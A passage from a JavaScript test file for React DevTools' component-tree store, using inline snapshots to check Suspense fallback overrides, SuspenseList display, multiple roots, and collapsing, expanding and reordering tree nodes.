End\">\n        [suspense-root]  rects={[{x:1,y:2,width:10,height:1}, {x:1,y:2,width:10,height:1}, {x:1,y:2,width:10,height:1}]}\n          <Suspense name=\"parent\" uniqueSuspenders={true} rects={[{x:1,y:2,width:10,height:1}, {x:1,y:2,width:10,height:1}, {x:1,y:2,width:10,height:1}]}>\n            <Suspense name=\"one\" uniqueSuspenders={true} rects={null}>\n            <Suspense name=\"two\" uniqueSuspenders={true} rects={null}>\n            <Suspense name=\"three\" uniqueSuspenders={true} rects={null}>\n      `);\n      await act(() =>\n        render(\n          <Wrapper\n            suspendParent={false}\n            suspendFirst={false}\n            suspendSecond={false}\n          />,\n        ),\n      );\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <Wrapper>\n              <Component key=\"Outside\">\n            ▾ <Suspense name=\"parent\">\n                <Component key=\"Unrelated at Start\">\n              ▾ <Suspense name=\"one\">\n                  <Component key=\"Suspense 1 Content\">\n              ▾ <Suspense name=\"two\">\n                  <Component key=\"Suspense 2 Content\">\n              ▾ <Suspense name=\"three\">\n                  <Loading key=\"Suspense 3 Fallback\">\n                <Component key=\"Unrelated at End\">\n        [suspense-root]  rects={[{x:1,y:2,width:10,height:1}]}\n          <Suspense name=\"parent\" uniqueSuspenders={true} rects={[{x:1,y:2,width:10,height:1}]}>\n            <Suspense name=\"one\" uniqueSuspenders={true} rects={null}>\n            <Suspense name=\"two\" uniqueSuspenders={true} rects={null}>\n            <Suspense name=\"three\" uniqueSuspenders={true} rects={null}>\n      `);\n\n      const rendererID = getRendererID();\n      await act(() =>\n        agent.overrideSuspense({\n          id: store.getElementIDAtIndex(4),\n          rendererID,\n          forceFallback: true,\n        }),\n      );\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <Wrapper>\n              <Component key=\"Outside\">\n            ▾ <Suspense name=\"parent\">\n                <Component key=\"Unrelated at Start\">\n              ▾ <Suspense name=\"one\">\n                  <Loading key=\"Suspense 1 Fallback\">\n              ▾ <Suspense name=\"two\">\n                  <Component key=\"Suspense 2 Content\">\n              ▾ <Suspense name=\"three\">\n                  <Loading key=\"Suspense 3 Fallback\">\n                <Component key=\"Unrelated at End\">\n        [suspense-root]  rects={[{x:1,y:2,width:10,height:1}, {x:1,y:2,width:10,height:1}]}\n          <Suspense name=\"parent\" uniqueSuspenders={true} rects={[{x:1,y:2,width:10,height:1}, {x:1,y:2,width:10,height:1}]}>\n            <Suspense name=\"one\" uniqueSuspenders={true} rects={null}>\n            <Suspense name=\"two\" uniqueSuspenders={true} rects={null}>\n            <Suspense name=\"three\" uniqueSuspenders={true} rects={null}>\n      `);\n      await act(() =>\n        agent.overrideSuspense({\n          id: store.getElementIDAtIndex(2),\n          rendererID,\n          forceFallback: true,\n        }),\n      );\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <Wrapper>\n              <Component key=\"Outside\">\n            ▾ <Suspense name=\"parent\">\n                <Loading key=\"Parent Fallback\">\n        [suspense-root]  rects={[{x:1,y:2,width:10,height:1}, {x:1,y:2,width:10,height:1}, {x:1,y:2,width:10,height:1}]}\n          <Suspense name=\"parent\" uniqueSuspenders={true} rects={[{x:1,y:2,width:10,height:1}, {x:1,y:2,width:10,height:1}]}>\n            <Suspense name=\"one\" uniqueSuspenders={true} rects={null}>\n            <Suspense name=\"two\" uniqueSuspenders={true} rects={null}>\n            <Suspense name=\"three\" uniqueSuspenders={true} rects={null}>\n      `);\n      await act(() =>\n        render(\n          <Wrapper\n            suspendParent={false}\n            suspendFirst={true}\n            suspendSecond={true}\n          />,\n        ),\n      );\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <Wrapper>\n              <Component key=\"Outside\">\n            ▾ <Suspense name=\"parent\">\n                <Loading key=\"Parent Fallback\">\n        [suspense-root]  rects={[{x:1,y:2,width:10,height:1}, {x:1,y:2,width:10,height:1}, {x:1,y:2,width:10,height:1}]}\n          <Suspense name=\"parent\" uniqueSuspenders={true} rects={[{x:1,y:2,width:10,height:1}, {x:1,y:2,width:10,height:1}]}>\n            <Suspense name=\"one\" uniqueSuspenders={true} rects={null}>\n            <Suspense name=\"two\" uniqueSuspenders={true} rects={null}>\n            <Suspense name=\"three\" uniqueSuspenders={true} rects={null}>\n      `);\n      await actAsync(() =>\n        agent.overrideSuspense({\n          id: store.getElementIDAtIndex(2),\n          rendererID,\n          forceFallback: false,\n        }),\n      );\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <Wrapper>\n              <Component key=\"Outside\">\n            ▾ <Suspense name=\"parent\">\n                <Component key=\"Unrelated at Start\">\n              ▾ <Suspense name=\"one\">\n                  <Loading key=\"Suspense 1 Fallback\">\n              ▾ <Suspense name=\"two\">\n                  <Loading key=\"Suspense 2 Fallback\">\n              ▾ <Suspense name=\"three\">\n                  <Loading key=\"Suspense 3 Fallback\">\n                <Component key=\"Unrelated at End\">\n        [suspense-root]  rects={[{x:1,y:2,width:10,height:1}, {x:1,y:2,width:10,height:1}, {x:1,y:2,width:10,height:1}]}\n          <Suspense name=\"parent\" uniqueSuspenders={true} rects={[{x:1,y:2,width:10,height:1}, {x:1,y:2,width:10,height:1}, {x:1,y:2,width:10,height:1}]}>\n            <Suspense name=\"one\" uniqueSuspenders={true} rects={null}>\n            <Suspense name=\"two\" uniqueSuspenders={true} rects={null}>\n            <Suspense name=\"three\" uniqueSuspenders={true} rects={null}>\n      `);\n      await act(() =>\n        agent.overrideSuspense({\n          id: store.getElementIDAtIndex(4),\n          rendererID,\n          forceFallback: false,\n        }),\n      );\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <Wrapper>\n              <Component key=\"Outside\">\n            ▾ <Suspense name=\"parent\">\n                <Component key=\"Unrelated at Start\">\n              ▾ <Suspense name=\"one\">\n                  <Loading key=\"Suspense 1 Fallback\">\n              ▾ <Suspense name=\"two\">\n                  <Loading key=\"Suspense 2 Fallback\">\n              ▾ <Suspense name=\"three\">\n                  <Loading key=\"Suspense 3 Fallback\">\n                <Component key=\"Unrelated at End\">\n        [suspense-root]  rects={[{x:1,y:2,width:10,height:1}, {x:1,y:2,width:10,height:1}, {x:1,y:2,width:10,height:1}]}\n          <Suspense name=\"parent\" uniqueSuspenders={true} rects={[{x:1,y:2,width:10,height:1}, {x:1,y:2,width:10,height:1}, {x:1,y:2,width:10,height:1}]}>\n            <Suspense name=\"one\" uniqueSuspenders={true} rects={null}>\n            <Suspense name=\"two\" uniqueSuspenders={true} rects={null}>\n            <Suspense name=\"three\" uniqueSuspenders={true} rects={null}>\n      `);\n      await act(() =>\n        render(\n          <Wrapper\n            suspendParent={false}\n            suspendFirst={false}\n            suspendSecond={false}\n          />,\n        ),\n      );\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <Wrapper>\n              <Component key=\"Outside\">\n            ▾ <Suspense name=\"parent\">\n                <Component key=\"Unrelated at Start\">\n              ▾ <Suspense name=\"one\">\n                  <Component key=\"Suspense 1 Content\">\n              ▾ <Suspense name=\"two\">\n                  <Component key=\"Suspense 2 Content\">\n              ▾ <Suspense name=\"three\">\n                  <Loading key=\"Suspense 3 Fallback\">\n                <Component key=\"Unrelated at End\">\n        [suspense-root]  rects={[{x:1,y:2,width:10,height:1}]}\n          <Suspense name=\"parent\" uniqueSuspenders={true} rects={[{x:1,y:2,width:10,height:1}]}>\n            <Suspense name=\"one\" uniqueSuspenders={true} rects={null}>\n            <Suspense name=\"two\" uniqueSuspenders={true} rects={null}>\n            <Suspense name=\"three\" uniqueSuspenders={true} rects={null}>\n      `);\n    });\n\n    // @reactVersion >= 18.0\n    it('can override multiple Suspense simultaneously', async () => {\n      const Component = () => {\n        return <div>Hello</div>;\n      };\n      const App = () => (\n        <React.Fragment>\n          <Component key=\"Outside\" />\n          <React.Suspense\n            name=\"parent\"\n            fallback={<Component key=\"Parent Fallback\" />}>\n            <Component key=\"Unrelated at Start\" />\n            <React.Suspense\n              name=\"one\"\n              fallback={<Component key=\"Suspense 1 Fallback\" />}>\n              <Component key=\"Suspense 1 Content\" />\n            </React.Suspense>\n            <React.Suspense\n              name=\"two\"\n              fallback={<Component key=\"Suspense 2 Fallback\" />}>\n              <Component key=\"Suspense 2 Content\" />\n            </React.Suspense>\n            <React.Suspense\n              name=\"three\"\n              fallback={<Component key=\"Suspense 3 Fallback\" />}>\n              <Component key=\"Suspense 3 Content\" />\n            </React.Suspense>\n            <Component key=\"Unrelated at End\" />\n          </React.Suspense>\n        </React.Fragment>\n      );\n\n      await actAsync(() => render(<App />));\n\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <App>\n              <Component key=\"Outside\">\n            ▾ <Suspense name=\"parent\">\n                <Component key=\"Unrelated at Start\">\n              ▾ <Suspense name=\"one\">\n                  <Component key=\"Suspense 1 Content\">\n              ▾ <Suspense name=\"two\">\n                  <Component key=\"Suspense 2 Content\">\n              ▾ <Suspense name=\"three\">\n                  <Component key=\"Suspense 3 Content\">\n                <Component key=\"Unrelated at End\">\n        [suspense-root]  rects={[{x:1,y:2,width:5,height:1}, {x:1,y:2,width:5,height:1}, {x:1,y:2,width:5,height:1}, {x:1,y:2,width:5,height:1}, {x:1,y:2,width:5,height:1}, {x:1,y:2,width:5,height:1}]}\n          <Suspense name=\"parent\" uniqueSuspenders={false} rects={[{x:1,y:2,width:5,height:1}, {x:1,y:2,width:5,height:1}, {x:1,y:2,width:5,height:1}, {x:1,y:2,width:5,height:1}, {x:1,y:2,width:5,height:1}]}>\n            <Suspense name=\"one\" uniqueSuspenders={false} rects={[{x:1,y:2,width:5,height:1}]}>\n            <Suspense name=\"two\" uniqueSuspenders={false} rects={[{x:1,y:2,width:5,height:1}]}>\n            <Suspense name=\"three\" uniqueSuspenders={false} rects={[{x:1,y:2,width:5,height:1}]}>\n      `);\n\n      await actAsync(() => {\n        agent.overrideSuspenseMilestone({\n          rendererID: getRendererID(),\n          suspendedSet: [\n            store.getElementIDAtIndex(4),\n            store.getElementIDAtIndex(8),\n          ],\n        });\n      });\n\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <App>\n              <Component key=\"Outside\">\n            ▾ <Suspense name=\"parent\">\n                <Component key=\"Unrelated at Start\">\n              ▾ <Suspense name=\"one\">\n                  <Component key=\"Suspense 1 Fallback\">\n              ▾ <Suspense name=\"two\">\n                  <Component key=\"Suspense 2 Content\">\n              ▾ <Suspense name=\"three\">\n                  <Component key=\"Suspense 3 Fallback\">\n                <Component key=\"Unrelated at End\">\n        [suspense-root]  rects={[{x:1,y:2,width:5,height:1}, {x:1,y:2,width:5,height:1}, {x:1,y:2,width:5,height:1}, {x:1,y:2,width:5,height:1}, {x:1,y:2,width:5,height:1}, {x:1,y:2,width:5,height:1}, {x:1,y:2,width:5,height:1}, {x:1,y:2,width:5,height:1}]}\n          <Suspense name=\"parent\" uniqueSuspenders={false} rects={[{x:1,y:2,width:5,height:1}, {x:1,y:2,width:5,height:1}, {x:1,y:2,width:5,height:1}, {x:1,y:2,width:5,height:1}, {x:1,y:2,width:5,height:1}, {x:1,y:2,width:5,height:1}, {x:1,y:2,width:5,height:1}]}>\n            <Suspense name=\"one\" uniqueSuspenders={false} rects={[{x:1,y:2,width:5,height:1}]}>\n            <Suspense name=\"two\" uniqueSuspenders={false} rects={[{x:1,y:2,width:5,height:1}]}>\n            <Suspense name=\"three\" uniqueSuspenders={false} rects={[{x:1,y:2,width:5,height:1}]}>\n      `);\n\n      await actAsync(() => {\n        agent.overrideSuspenseMilestone({\n          rendererID: getRendererID(),\n          suspendedSet: [],\n        });\n      });\n\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <App>\n              <Component key=\"Outside\">\n            ▾ <Suspense name=\"parent\">\n                <Component key=\"Unrelated at Start\">\n              ▾ <Suspense name=\"one\">\n                  <Component key=\"Suspense 1 Content\">\n              ▾ <Suspense name=\"two\">\n                  <Component key=\"Suspense 2 Content\">\n              ▾ <Suspense name=\"three\">\n                  <Component key=\"Suspense 3 Content\">\n                <Component key=\"Unrelated at End\">\n        [suspense-root]  rects={[{x:1,y:2,width:5,height:1}, {x:1,y:2,width:5,height:1}, {x:1,y:2,width:5,height:1}, {x:1,y:2,width:5,height:1}, {x:1,y:2,width:5,height:1}, {x:1,y:2,width:5,height:1}]}\n          <Suspense name=\"parent\" uniqueSuspenders={false} rects={[{x:1,y:2,width:5,height:1}, {x:1,y:2,width:5,height:1}, {x:1,y:2,width:5,height:1}, {x:1,y:2,width:5,height:1}, {x:1,y:2,width:5,height:1}]}>\n            <Suspense name=\"one\" uniqueSuspenders={false} rects={[{x:1,y:2,width:5,height:1}]}>\n            <Suspense name=\"two\" uniqueSuspenders={false} rects={[{x:1,y:2,width:5,height:1}]}>\n            <Suspense name=\"three\" uniqueSuspenders={false} rects={[{x:1,y:2,width:5,height:1}]}>\n      `);\n    });\n\n    it('should display a partially rendered SuspenseList', async () => {\n      const Loading = () => <div>Loading...</div>;\n      const never = new Promise(() => {});\n      const SuspendingComponent = () => {\n        readValue(never);\n      };\n      const Component = () => {\n        return <div>Hello</div>;\n      };\n      const Wrapper = ({shouldSuspense}) => (\n        <React.Fragment>\n          <React.unstable_SuspenseList revealOrder=\"forwards\" tail=\"collapsed\">\n            <Component key=\"A\" />\n            <React.Suspense fallback={<Loading />}>\n              {shouldSuspense ? <SuspendingComponent /> : <Component key=\"B\" />}\n            </React.Suspense>\n            <Component key=\"C\" />\n          </React.unstable_SuspenseList>\n        </React.Fragment>\n      );\n\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<Wrapper shouldSuspense={true} />);\n      });\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <Wrapper>\n            ▾ <SuspenseList>\n                <Component key=\"A\">\n              ▾ <Suspense>\n                  <Loading>\n        [suspense-root]  rects={[{x:1,y:2,width:5,height:1}, {x:1,y:2,width:10,height:1}]}\n          <Suspense name=\"Wrapper\" uniqueSuspenders={true} rects={null}>\n      `);\n\n      await act(() => {\n        root.render(<Wrapper shouldSuspense={false} />);\n      });\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <Wrapper>\n            ▾ <SuspenseList>\n                <Component key=\"A\">\n              ▾ <Suspense>\n                  <Component key=\"B\">\n                <Component key=\"C\">\n        [suspense-root]  rects={[{x:1,y:2,width:5,height:1}, {x:1,y:2,width:5,height:1}, {x:1,y:2,width:5,height:1}]}\n          <Suspense name=\"Wrapper\" uniqueSuspenders={true} rects={[{x:1,y:2,width:5,height:1}]}>\n      `);\n    });\n\n    // @reactVersion >= 18.0\n    it('should support collapsing parts of the tree', async () => {\n      const Grandparent = ({count}) => (\n        <React.Fragment>\n          <Parent count={count} />\n          <Parent count={count} />\n        </React.Fragment>\n      );\n      const Parent = ({count}) =>\n        new Array(count).fill(true).map((_, index) => <Child key={index} />);\n      const Child = () => <div>Hi!</div>;\n\n      await act(() => render(<Grandparent count={2} />));\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <Grandparent>\n            ▾ <Parent>\n                <Child key=\"0\">\n                <Child key=\"1\">\n            ▾ <Parent>\n                <Child key=\"0\">\n                <Child key=\"1\">\n      `);\n\n      const grandparentID = store.getElementIDAtIndex(0);\n      const parentOneID = store.getElementIDAtIndex(1);\n      const parentTwoID = store.getElementIDAtIndex(4);\n\n      await act(() => store.toggleIsCollapsed(parentOneID, true));\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <Grandparent>\n            ▸ <Parent>\n            ▾ <Parent>\n                <Child key=\"0\">\n                <Child key=\"1\">\n      `);\n\n      await act(() => store.toggleIsCollapsed(parentTwoID, true));\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <Grandparent>\n            ▸ <Parent>\n            ▸ <Parent>\n      `);\n\n      await act(() => store.toggleIsCollapsed(parentOneID, false));\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <Grandparent>\n            ▾ <Parent>\n                <Child key=\"0\">\n                <Child key=\"1\">\n            ▸ <Parent>\n      `);\n\n      await act(() => store.toggleIsCollapsed(grandparentID, true));\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▸ <Grandparent>\n      `);\n\n      await act(() => store.toggleIsCollapsed(grandparentID, false));\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <Grandparent>\n            ▾ <Parent>\n                <Child key=\"0\">\n                <Child key=\"1\">\n            ▸ <Parent>\n      `);\n    });\n\n    // @reactVersion >= 18.0\n    it('should support reordering of children', async () => {\n      const Root = ({children}) => children;\n      const Component = () => null;\n\n      const Foo = () => [<Component key=\"0\" />];\n      const Bar = () => [<Component key=\"0\" />, <Component key=\"1\" />];\n      const foo = <Foo key=\"foo\" />;\n      const bar = <Bar key=\"bar\" />;\n\n      await act(() => render(<Root>{[foo, bar]}</Root>));\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <Root>\n            ▾ <Foo key=\"foo\">\n                <Component key=\"0\">\n            ▾ <Bar key=\"bar\">\n                <Component key=\"0\">\n                <Component key=\"1\">\n      `);\n\n      await act(() => render(<Root>{[bar, foo]}</Root>));\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <Root>\n            ▾ <Bar key=\"bar\">\n                <Component key=\"0\">\n                <Component key=\"1\">\n            ▾ <Foo key=\"foo\">\n                <Component key=\"0\">\n      `);\n\n      await act(() =>\n        store.toggleIsCollapsed(store.getElementIDAtIndex(0), true),\n      );\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▸ <Root>\n      `);\n\n      await act(() =>\n        store.toggleIsCollapsed(store.getElementIDAtIndex(0), false),\n      );\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <Root>\n            ▾ <Bar key=\"bar\">\n                <Component key=\"0\">\n                <Component key=\"1\">\n            ▾ <Foo key=\"foo\">\n                <Component key=\"0\">\n      `);\n    });\n  });\n\n  describe('collapseNodesByDefault:true', () => {\n    beforeEach(() => {\n      store.collapseNodesByDefault = true;\n    });\n\n    // @reactVersion >= 18.0\n    it('should support mount and update operations', async () => {\n      const Parent = ({count}) =>\n        new Array(count).fill(true).map((_, index) => <Child key={index} />);\n      const Child = () => <div>Hi!</div>;\n\n      await act(() =>\n        render(\n          <React.Fragment>\n            <Parent count={1} />\n            <Parent count={3} />\n          </React.Fragment>,\n        ),\n      );\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▸ <Parent>\n          ▸ <Parent>\n      `);\n\n      await act(() =>\n        render(\n          <React.Fragment>\n            <Parent count={2} />\n            <Parent count={1} />\n          </React.Fragment>,\n        ),\n      );\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▸ <Parent>\n          ▸ <Parent>\n      `);\n\n      await act(() => unmount());\n      expect(store).toMatchInlineSnapshot(``);\n    });\n\n    // @reactVersion >= 18.0\n    // @reactVersion < 19\n    // @gate !disableLegacyMode\n    it('should support mount and update operations for multiple roots (legacy render)', async () => {\n      const Parent = ({count}) =>\n        new Array(count).fill(true).map((_, index) => <Child key={index} />);\n      const Child = () => <div>Hi!</div>;\n\n      const containerA = document.createElement('div');\n      const containerB = document.createElement('div');\n\n      await act(() => {\n        legacyRender(<Parent key=\"A\" count={3} />, containerA);\n        legacyRender(<Parent key=\"B\" count={2} />, containerB);\n      });\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▸ <Parent key=\"A\">\n        [root]\n          ▸ <Parent key=\"B\">\n      `);\n\n      await act(() => {\n        legacyRender(<Parent key=\"A\" count={4} />, containerA);\n        legacyRender(<Parent key=\"B\" count={1} />, containerB);\n      });\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▸ <Parent key=\"A\">\n        [root]\n          ▸ <Parent key=\"B\">\n      `);\n\n      await act(() => ReactDOM.unmountComponentAtNode(containerB));\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▸ <Parent key=\"A\">\n      `);\n\n      await act(() => ReactDOM.unmountComponentAtNode(containerA));\n      expect(store).toMatchInlineSnapshot(``);\n    });\n\n    // @reactVersion >= 18.0\n    it('should support mount and update operations for multiple roots (createRoot)', async () => {\n      const Parent = ({count}) =>\n        new Array(count).fill(true).map((_, index) => <Child key={index} />);\n      const Child = () => <div>Hi!</div>;\n\n      const containerA = document.createElement('div');\n      const containerB = document.createElement('div');\n\n      const rootA = ReactDOMClient.createRoot(containerA);\n      const rootB = ReactDOMClient.createRoot(containerB);\n\n      await act(() => {\n        rootA.render(<Parent key=\"A\" count={3} />);\n        rootB.render(<Parent key=\"B\" count={2} />);\n      });\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▸ <Parent key=\"A\">\n        [root]\n          ▸ <Parent key=\"B\">\n      `);\n\n      await act(() => {\n        rootA.render(<Parent key=\"A\" count={4} />);\n        rootB.render(<Parent key=\"B\" count={1} />);\n      });\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▸ <Parent key=\"A\">\n        [root]\n          ▸ <Parent key=\"B\">\n      `);\n\n      await act(() => rootB.unmount());\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▸ <Parent key=\"A\">\n      `);\n\n      await act(() => rootA.unmount());\n      expect(store).toMatchInlineSnapshot(``);\n    });\n\n    // @reactVersion >= 18.0\n    it('should filter DOM nodes from the store tree', async () => {\n      const Grandparent = () => (\n        <div>\n          <div>\n            <Parent />\n          </div>\n          <Parent />\n        </div>\n      );\n      const Parent = () => (\n        <div>\n          <Child />\n        </div>\n      );\n      const Child = () => <div>Hi!</div>;\n\n      await act(() => render(<Grandparent count={4} />));\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▸ <Grandparent>\n      `);\n\n      await act(() =>\n        store.toggleIsCollapsed(store.getElementIDAtIndex(0), false),\n      );\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <Grandparent>\n            ▸ <Parent>\n            ▸ <Parent>\n      `);\n\n      await act(() =>\n        store.toggleIsCollapsed(store.getElementIDAtIndex(1), false),\n      );\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <Grandparent>\n            ▾ <Parent>\n                <Child>\n            ▸ <Parent>\n      `);\n    });\n\n    // @reactVersion >= 18.0\n    it('should display Suspense nodes properly in various states', async () => {\n      const Loading = () => <div>Loading...</div>;\n      const never = new Promise(() => {});\n      const SuspendingComponent = () => {\n        readValue(never);\n      };\n      const Component = () => {\n        return <div>Hello</div>;\n      };\n      const Wrapper = ({shouldSuspense}) => (\n        <React.Fragment>\n          <Component key=\"Outside\" />\n          <React.Suspense fallback={<Loading />}>\n            {shouldSuspense ? (\n              <SuspendingComponent />\n            ) : (\n              <Component key=\"Inside\" />\n            )}\n          </React.Suspense>\n        </React.Fragment>\n      );\n\n      await act(() => render(<Wrapper shouldSuspense={true} />));\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▸ <Wrapper>\n        [suspense-root]  rects={[{x:1,y:2,width:5,height:1}, {x:1,y:2,width:10,height:1}]}\n          <Suspense name=\"Wrapper\" uniqueSuspenders={true} rects={null}>\n      `);\n\n      // This test isn't meaningful unless we expand the suspended tree\n      await act(() =>\n        store.toggleIsCollapsed(store.getElementIDAtIndex(0), false),\n      );\n      await act(() =>\n        store.toggleIsCollapsed(store.getElementIDAtIndex(2), false),\n      );\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <Wrapper>\n              <Component key=\"Outside\">\n            ▾ <Suspense>\n                <Loading>\n        [suspense-root]  rects={[{x:1,y:2,width:5,height:1}, {x:1,y:2,width:10,height:1}]}\n          <Suspense name=\"Wrapper\" uniqueSuspenders={true} rects={null}>\n      `);\n\n      await act(() => {\n        render(<Wrapper shouldSuspense={false} />);\n      });\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <Wrapper>\n              <Component key=\"Outside\">\n            ▾ <Suspense>\n                <Component key=\"Inside\">\n        [suspense-root]  rects={[{x:1,y:2,width:5,height:1}, {x:1,y:2,width:5,height:1}]}\n          <Suspense name=\"Wrapper\" uniqueSuspenders={true} rects={[{x:1,y:2,width:5,height:1}]}>\n      `);\n    });\n\n    // @reactVersion >= 18.0\n    it('should support expanding parts of the tree', async () => {\n      const Grandparent = ({count}) => (\n        <React.Fragment>\n          <Parent count={count} />\n          <Parent count={count} />\n        </React.Fragment>\n      );\n      const Parent = ({count}) =>\n        new Array(count).fill(true).map((_, index) => <Child key={index} />);\n      const Child = () => <div>Hi!</div>;\n\n      await act(() => render(<Grandparent count={2} />));\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▸ <Grandparent>\n      `);\n\n      const grandparentID = store.getElementIDAtIndex(0);\n\n      await act(() => store.toggleIsCollapsed(grandparentID, false));\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <Grandparent>\n            ▸ <Parent>\n            ▸ <Parent>\n      `);\n\n      const parentOneID = store.getElementIDAtIndex(1);\n      const parentTwoID = store.getElementIDAtIndex(2);\n\n      await act(() => store.toggleIsCollapsed(parentOneID, false));\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <Grandparent>\n            ▾ <Parent>\n                <Child key=\"0\">\n                <Child key=\"1\">\n            ▸ <Parent>\n      `);\n\n      await act(() => store.toggleIsCollapsed(parentTwoID, false));\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <Grandparent>\n            ▾ <Parent>\n                <Child key=\"0\">\n                <Child key=\"1\">\n            ▾ <Parent>\n                <Child key=\"0\">\n                <Child key=\"1\">\n      `);\n\n      await act(() => store.toggleIsCollapsed(parentOneID, true));\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <Grandparent>\n            ▸ <Parent>\n            ▾ <Parent>\n                <Child key=\"0\">\n                <Child key=\"1\">\n      `);\n\n      await act(() => store.toggleIsCollapsed(parentTwoID, true));\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <Grandparent>\n            ▸ <Parent>\n            ▸ <Parent>\n      `);\n\n      await act(() => store.toggleIsCollapsed(grandparentID, true));\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▸ <Grandparent>\n      `);\n    });\n\n    // @reactVersion >= 18.0\n    it('should support expanding deep parts of the tree', async () => {\n      const Wrapper = ({forwardedRef}) => (\n        <Nested depth={3} forwardedRef={forwardedRef} />\n      );\n      const Nested = ({depth, forwardedRef}) =>\n        depth > 0 ? (\n          <Nested depth={depth - 1} forwardedRef={forwardedRef} />\n        ) : (\n          <div ref={forwardedRef} />\n        );\n\n      const ref = React.createRef();\n\n      await act(() => render(<Wrapper forwardedRef={ref} />));\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▸ <Wrapper>\n      `);\n\n      const deepestedNodeID = agent.getIDForHostInstance(ref.current).id;\n\n      await act(() => store.toggleIsCollapsed(deepestedNodeID, false));\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <Wrapper>\n            ▾ <Nested>\n              ▾ <Nested>\n                ▾ <Nested>\n                    <Nested>\n      `);\n\n      const rootID = store.getElementIDAtIndex(0);\n\n      await act(() => store.toggleIsCollapsed(rootID, true));\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▸ <Wrapper>\n      `);\n\n      await act(() => store.toggleIsCollapsed(rootID, false));\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <Wrapper>\n            ▾ <Nested>\n              ▾ <Nested>\n                ▾ <Nested>\n                    <Nested>\n      `);\n\n      const id = store.getElementIDAtIndex(1);\n\n      await act(() => store.toggleIsCollapsed(id, true));\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <Wrapper>\n            ▸ <Nested>\n      `);\n\n      await act(() => store.toggleIsCollapsed(id, false));\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <Wrapper>\n            ▾ <Nested>\n              ▾ <Nested>\n                ▾ <Nested>\n                    <Nested>\n      `);\n    });\n\n    // @reactVersion >= 18.0\n    it('should support reordering of children', async () => {\n      const Root = ({children}) => children;\n      const Component = () => null;\n\n      const Foo = () => [<Component key=\"0\" />];\n      const Bar = () => [<Component key=\"0\" />, <Component key=\"1\" />];\n      const foo = <Foo key=\"foo\" />;\n      const bar = <Bar key=\"bar\" />;\n\n      await act(() => render(<Root>{[foo, bar]}</Root>));\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▸ <Root>\n      `);\n\n      await act(() => render(<Root>{[bar, foo]}</Root>));\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▸ <Root>\n      `);\n\n      await act(() =>\n        store.toggleIsCollapsed(store.getElementIDAtIndex(0), false),\n      );\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <Root>\n            ▸ <Bar key=\"bar\">\n            ▸ <Foo key=\"foo\">\n      `);\n\n      await act(() => {\n        store.toggleIsCollapsed(store.getElementIDAtIndex(2), false);\n        store.toggleIsCollapsed(store.getElementIDAtIndex(1), false);\n      });\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <Root>\n            ▾ <Bar key=\"bar\">\n                <Component key=\"0\">\n                <Component key=\"1\">\n            ▾ <Foo key=\"foo\">\n                <Component key=\"0\">\n      `);\n\n      await act(() =>\n        store.toggleIsCollapsed(store.getElementIDAtIndex(0), true),\n      );\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▸ <Root>\n      `);\n    });\n\n    // @reactVersion >= 18.0\n    it('should not add new nodes when suspense is toggled', async () => {\n      const SuspenseTree = () => {\n        return (\n          <React.Suspense fallback={<Fallback>Loading outer</Fallback>}>\n            <Parent />\n          </React.Suspense>\n        );\n      };\n\n      const Fallback = () => null;\n      const Parent = () => 